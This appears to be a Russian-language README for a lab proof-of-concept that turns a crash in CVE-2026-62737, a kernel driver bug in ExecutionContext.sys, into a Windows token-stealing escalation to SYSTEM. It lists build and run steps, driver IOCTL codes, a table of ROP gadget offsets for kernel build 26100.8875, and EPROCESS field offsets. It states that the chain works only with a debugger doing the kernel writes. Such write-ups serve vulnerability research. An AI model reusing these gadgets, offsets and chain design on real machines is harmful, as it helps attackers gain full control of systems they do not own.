CVE-2026-62737: от падения до SYSTEM в лабораторных условиях

Продолжение оригинального разбора CVE-2026-62737 (произвольный косвенный вызов ядра в ExecutionContext.sys). Оно превращает PoC, вызывающий падение, в рабочую цепочку подмены токена, которая запускает cmd.exe от имени SYSTEM, но только в лабораторных условиях, где отладчик предоставляет адреса и записывает ROP-цепочку в память ядра. Это не автономный эксплойт.

Что делает

Открывает устройство ExecutionContext через прокси KLoader от имени пользователя с низкими правами.
Инициализирует ExecutionContext (0x22EC40) и ставит в очередь задачу (0x22AC54), чей Callback является ROP-пивотом в ядре.
Скрипт gdb (patch_rop.py) записывает ROP-цепочку подмены токена в ExecutionContext .data и перехватывает RSP/RBP в момент пивота с помощью аппаратной точки останова.
Недолго живущий поток-наблюдатель пробуждает рабочий поток ядра (exit-колбэк 0x226C5C), цепочка подменяет наш токен на токен SYSTEM, восстанавливает стек ядра и возвращается в диспетчер драйвера, благодаря чему рабочий поток не завершается.

Файлы

Файл	Назначение
`exploit.c`	Лабораторный эксплойт: инициализация + постановка в очередь + ожидание gdb-патча + проверка токена + запуск cmd.
`patch_rop.py`	Скрипт gdb: находит наш EPROCESS, записывает ROP-цепочку, активирует точку останова на пивоте.
`trace_rop.py`	Та же настройка, но с пошаговым выполнением цепочки для отладки.
`refresh_bases.sh`	Обновляет базы nt/ec для каждого запуска в gdb-скриптах на основе вывода `modlist.exe`.
`modlist.c`	Выводит базу ntoskrnl / ExecutionContext для каждого запуска (лабораторный KASLR-оракул).
`ga.py`	Выполняет команды внутри лабораторной ВМ через QEMU guest agent.

Требования

Windows 11 25H2 с ядром 10.0.26100.8875 (RVA-адреса гаджетов зависят от сборки).
ВМ с QEMU gdb-заглушкой (gdbserver tcp::1234), гостевой агент и общая папка хост/гость, смонтированная как Z:.
Учётная запись с низкими привилегиями, которая может открыть \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}.
MinGW-w64 (x86_64-w64-mingw32-gcc) и gdb на хосте.

Сборка

x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c

Запуск (при каждой загрузке)

Получите свежие базы: ./ga.py 'Z:\modlist.exe' (после копирования modlist.exe в общую папку)
Обновите скрипты: ./refresh_bases.sh
Скопируйте exploit.exe и modlist.exe в общую папку.
Запустите эксплойт от имени пользователя с низкими правами: exploit.exe <nt> <ec> <ec+0x10A00>. Он записывает свой PID в Z:\lab_pid.txt и ожидает появления Z:\go_lab.txt.
Подключите gdb, указав LAB_PID_FILE на хост-копию lab_pid.txt:
```
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
  gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
```
Введите continue в приглашении gdb.
Дайте эксплойту продолжить: touch /path/to/shared/go_lab.txt
Через ~15 секунд в Z:\lab_exploit_out.txt должно появиться system=1, а Z:\lab_shell_out.txt должен содержать nt authority\system.

Смещения (ядро 26100.8875)

Элемент	Значение
ROP-пивот (полный)	`nt + 0x6A6A40`
`pop rcx; ret`	`nt + 0x28843A`
`pop rdx; ret`	`nt + 0x2FECD2`
`mov [rcx], rdx; ret`	`nt + 0x3BC6A7`
`ret`	`nt + 0x20043B`
`pop rsp; ret`	`nt + 0x2006C4`
`PsInitialSystemProcess`	`nt + 0xFC6AF0`
`_EPROCESS.Token`	`0x248`
`_EPROCESS.UniqueProcessId`	`0x1D0`
`_EPROCESS.ActiveProcessLinks`	`0x1D8`

Почему это не автономный эксплойт

Колбэк выполняется в системном потоке ядра с system CR3; ROP из пользовательской памяти невозможен, и MDL-псевдонима в ядре не существует.
Настоящий эксплойт требует утечки адресов ядра (nt/ec) и способа доставить цепочку в память ядра. В этой сборке нет ни того, ни другого.
RSP в момент пивота перехватывается точкой останова gdb; настоящему эксплойту потребовалась бы цепочка, размещённая в стеке, или гаджет, сохраняющий RSP.

Лицензия

MIT, см. LICENSE.

cve-2026-62737-lab

Популярное